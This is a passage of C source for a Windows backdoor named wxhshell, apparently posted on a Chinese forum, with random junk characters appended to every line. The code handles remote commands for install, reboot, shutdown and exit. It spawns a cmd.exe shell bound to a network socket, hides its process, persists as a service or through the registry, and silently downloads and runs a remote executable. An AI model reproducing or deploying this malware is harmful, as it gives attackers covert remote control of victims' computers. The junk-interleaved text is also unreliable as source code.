      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I"ok&^t^}  
    break; f.9SB  
  } R#I0|;q4|p  
  // 安装 1]p ZrBh"E  
  case 'i': { :>C2gS@  
    if(Install()) 0.@&_XTPl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/wyZ  
    else h-[VH%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N(Tz%o4  
    break; @"^0%/2-  
    } hbY5l}\5  
  // 卸载 tIuCct-  
  case 'r': { .?loO3 m  
    if(Uninstall()) :s7m4!EF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \hx1o\  
    else &__es{;P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^y<<>Y'I  
    break; y#3j`. $3p  
    } ?k(7 LX0j  
  // 显示 wxhshell 所在路径 ;;#qmGoE  
  case 'p': { )% ~OH  
    char svExeFile[MAX_PATH]; N(Fp0  
    strcpy(svExeFile,"\n\r"); Tu).K.p:  
      strcat(svExeFile,ExeFile); AHXSt  
        send(wsh,svExeFile,strlen(svExeFile),0); LhA/xf  
    break; pu2 tY7J a  
    } )mF5Vw"  
  // 重启 N/MUwx;P  
  case 'b': { 8; 0A g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e?8HgiP-  
    if(Boot(REBOOT)) '/^qJ7eb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\bOz[\  
    else { ;)D];u|_  
    closesocket(wsh); xHD=\,{ig  
    ExitThread(0); M`,)wi  
    } "eB$k40-  
    break; uM_wjP  
    } @`q:IIgW  
  // 关机 I|^;B 8[  
  case 'd': { cj$[E]B3V*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HTX?,C_  
    if(Boot(SHUTDOWN)) NQJq6S4@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [OC5l>  
    else { E2R&[Q"%  
    closesocket(wsh); 6ZP(E^.  
    ExitThread(0); Mygf T[_  
    } jIC_[  
    break; %C| n9*  
    } '"SEw w  
  // 获取shell l`#4KCL(  
  case 's': { wl#@lOv-P  
    CmdShell(wsh); (|klSz_4LM  
    closesocket(wsh); 9\_eK,*B  
    ExitThread(0); au: fw  
    break; /_I]H  
  } UQ?XqgUM  
  // 退出 Ya3C#=  
  case 'x': { (k5We!4[1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0i!uUF  
    CloseIt(wsh); D1zBsi94D  
    break; p@xf^[50k  
    } _m5uDF?[  
  // 离开 _Kl_61k  
  case 'q': { Oo5w?+t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `6~Aoe  
    closesocket(wsh); ILEz;D{]   
    WSACleanup(); VVac:  
    exit(1); d3 ZdB4L  
    break; 1w@(5 ^V  
        } TN+iA~kQ  
  } 42G)~lun-d  
  } :XZU&Sr"  
tn(JC%?^  
  // 提示信息 +6HVhoxU#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [>8}J "  
} k/#&qC>]  
  } l;R%= P?'F  
 M+||rct  
  return; q&s3wDl/  
} ,(d) Qg  
Wbr|_W  
// shell模块句柄 !t$'AoVBq  
int CmdShell(SOCKET sock) r`W)0oxD  
{ EofymAi%  
STARTUPINFO si; >,gg5<F-E  
ZeroMemory(&si,sizeof(si)); x@P y>f2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $PTP/^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m0ER@BXRn  
PROCESS_INFORMATION ProcessInfo; {o_X`rgrL  
char cmdline[]="cmd"; +ga k#M"n\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HHDl8lo  
  return 0; DFZkh^PFd  
} I`-8Air5f  
5na~@-9p  
// 自身启动模式 Uc7mOa}4  
int StartFromService(void) S?1AFI9{   
{ ` Q|*1  
typedef struct (eI5_`'VC  
{ JjPKR?[>  
  DWORD ExitStatus; PF)jdcX  
  DWORD PebBaseAddress; j9eTCJqB  
  DWORD AffinityMask; -+(jq>t  
  DWORD BasePriority; [#-b8Cu  
  ULONG UniqueProcessId; @L<*9sLWh  
  ULONG InheritedFromUniqueProcessId; IHam4$~-  
}   PROCESS_BASIC_INFORMATION; '&x#rjo#  
mHV%I@`Y6  
PROCNTQSIP NtQueryInformationProcess; CtyoHvw+M  
ciBP7>'::  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h`KFL/fT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y-kt.X/Z-  
X 0WJBEE  
  HANDLE             hProcess; |n+qMql'  
  PROCESS_BASIC_INFORMATION pbi; sy:[T T!w  
LJd5;so-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); diJLZikk  
  if(NULL == hInst ) return 0; c`J.Tm[_u  
<sWprR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h1B? 8pD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qaiNz S@q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &+Z,hs9%  
Wvbf"hq  
  if (!NtQueryInformationProcess) return 0; kpJ@M%46  
UtPLI al  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !}YAdZJ  
  if(!hProcess) return 0; %`>nS@1zp  
?I6fye7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?k]2*}bz  
zMj#KA1  
  CloseHandle(hProcess); |jI#"LbF  
3LAIl913  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o< |cA5f\  
if(hProcess==NULL) return 0; <'qeXgi  
!nqUBa  
HMODULE hMod; ykl .1(  
char procName[255]; rSZd!OQ  
unsigned long cbNeeded; 'FqQzx"r  
Huy5-[)15  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 13=A  
[$qyF|/K`n  
  CloseHandle(hProcess); v25R_""~  
4" Cb/y3  
if(strstr(procName,"services")) return 1; // 以服务启动 "S8uoSF`>  
vMA]j>>  
  return 0; // 注册表启动 wN@oYFoL  
} ]JCvyz H  
zz+$=(T:M  
// 主模块 XG}C+;4Aw  
int StartWxhshell(LPSTR lpCmdLine) D?;"9e%  
{ ~Mx!^  
  SOCKET wsl; :}5j##N  
BOOL val=TRUE; 6N!Q:x^4(T  
  int port=0; 't1 ax^-g  
  struct sockaddr_in door; W#^2#sjO  
0 t Fkd  
  if(wscfg.ws_autoins) Install(); dCE0$3'5  
< vL,*.zd  
port=atoi(lpCmdLine); 1;C+$  
=Q+;=-1  
if(port<=0) port=wscfg.ws_port; NG--6\  
2;z b\d  
  WSADATA data; A0o-:n Fu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ti5mIW\  
8B /\U'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0xxg|;h.,g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cv?06x{  
  door.sin_family = AF_INET; q1z"-~i )E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w$+&3t  
  door.sin_port = htons(port); a6D &/8  
/35R u}c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4i6q{BeHn  
closesocket(wsl); u$>4F|=T  
return 1; /RNIIY~w  
} kW *f.!  
tQ8.f  
  if(listen(wsl,2) == INVALID_SOCKET) { 695V3R 7  
closesocket(wsl); ]"t@-PFX<  
return 1; x}_]A$nV  
} ~k!j+>yT  
  Wxhshell(wsl); 4,sJE2"[9  
  WSACleanup(); \DYWy*pe  
W }8'Pf  
return 0; qlb- jL  
4.Q} 1%ZN  
} a2dnbfSWa[  
)[PtaPWeT  
// 以NT服务方式启动 v>$'iT~l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >hPQRd  
{ SOIHePmwK  
DWORD   status = 0; 1M}5>V{  
  DWORD   specificError = 0xfffffff; /.3}aj;6  
RZHd9v$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2[Z,J%:0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HW=C),*]cR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6eT5ktf  
  serviceStatus.dwWin32ExitCode     = 0; u -;_y='m  
  serviceStatus.dwServiceSpecificExitCode = 0; eIz<)-7:  
  serviceStatus.dwCheckPoint       = 0; :ctu5{"UJ  
  serviceStatus.dwWaitHint       = 0; $K]m{  
Z1 Bp+a3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6A>dhU  
  if (hServiceStatusHandle==0) return; 3  ^>l\,  
->l%TCHP  
status = GetLastError(); R$ q; !  
  if (status!=NO_ERROR) X#*JWQO=  
{ U> cV|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \!k1a^ZP  
    serviceStatus.dwCheckPoint       = 0; d/ARm-D  
    serviceStatus.dwWaitHint       = 0; T?x[C4wf+  
    serviceStatus.dwWin32ExitCode     = status; 8dO!  
    serviceStatus.dwServiceSpecificExitCode = specificError; =-8bsV/l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;LG#.~f  
    return; *QwY]j%^  
  } uW30ep'  
.$qnZWcgG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <R''oEf9  
  serviceStatus.dwCheckPoint       = 0; qyF{f8pzq  
  serviceStatus.dwWaitHint       = 0; luo   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '^No)n\`  
} O_ChxX0KP  
QWD'!)Zb  
// 处理NT服务事件,比如:启动、停止 3on7~*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {zn!vJX  
{ TM_/ `a2}  
switch(fdwControl) >+JqA7K  
{ 5_- (<B  
case SERVICE_CONTROL_STOP: tKuVQH~D  
  serviceStatus.dwWin32ExitCode = 0; yKa{08X:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Uphfzv3D  
  serviceStatus.dwCheckPoint   = 0; o=50>$5jlS  
  serviceStatus.dwWaitHint     = 0; P!H_1RwXKC  
  { *1v[kWa?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q=%RDG+  
  } 9;r)#3Q[^  
  return; hEBY8=gK  
case SERVICE_CONTROL_PAUSE: ]^lw*724'>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }% `.h"  
  break; *:Vq:IU[D  
case SERVICE_CONTROL_CONTINUE: 0s/w,?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hkwl>R$  
  break; ^G4 P y<s  
case SERVICE_CONTROL_INTERROGATE: .!f$ \1l  
  break; (-ufBYO6  
}; F<qz[,]|-j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %k;|\%B`  
} (Tn- >).AO  
do*EKo  
// 标准应用程序主函数 wN;^[F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .}OR  
{ )L#i%)+  
!a7[ 8&  
// 获取操作系统版本 l038%U~U!  
OsIsNt=GetOsVer(); h|,:e;>}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6LalW5I  
BI3@|,._N  
  // 从命令行安装 Lv| q  
  if(strpbrk(lpCmdLine,"iI")) Install(); N"]q='t  
.NYbi@bk(<  
  // 下载执行文件 ~8GFQ ph  
if(wscfg.ws_downexe) { XZ^^%*ew  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {ys=Ndo8  
  WinExec(wscfg.ws_filenam,SW_HIDE); v2B0q4*BS?  
} =<?+#-;p  
j@SQ~AS  
if(!OsIsNt) { $npT[~U5  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dp)=0<$y  
HideProc(); sg$rzT-S4  
StartWxhshell(lpCmdLine); Tk5W'p|6f  
} A-ZN F4  
else 7UdM  
  if(StartFromService()) n/+.s(7c  
  // 以服务方式启动 mj9 <%P  
  StartServiceCtrlDispatcher(DispatchTable); +VO-oFE|  
else 2/"u5  
  // 普通方式启动 [n \2  
  StartWxhshell(lpCmdLine); ]Q>.HH  
m 8aITd8  
return 0; [_1G@S6Ex  
}
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只看该作者 1 发表于: 2006-10-10
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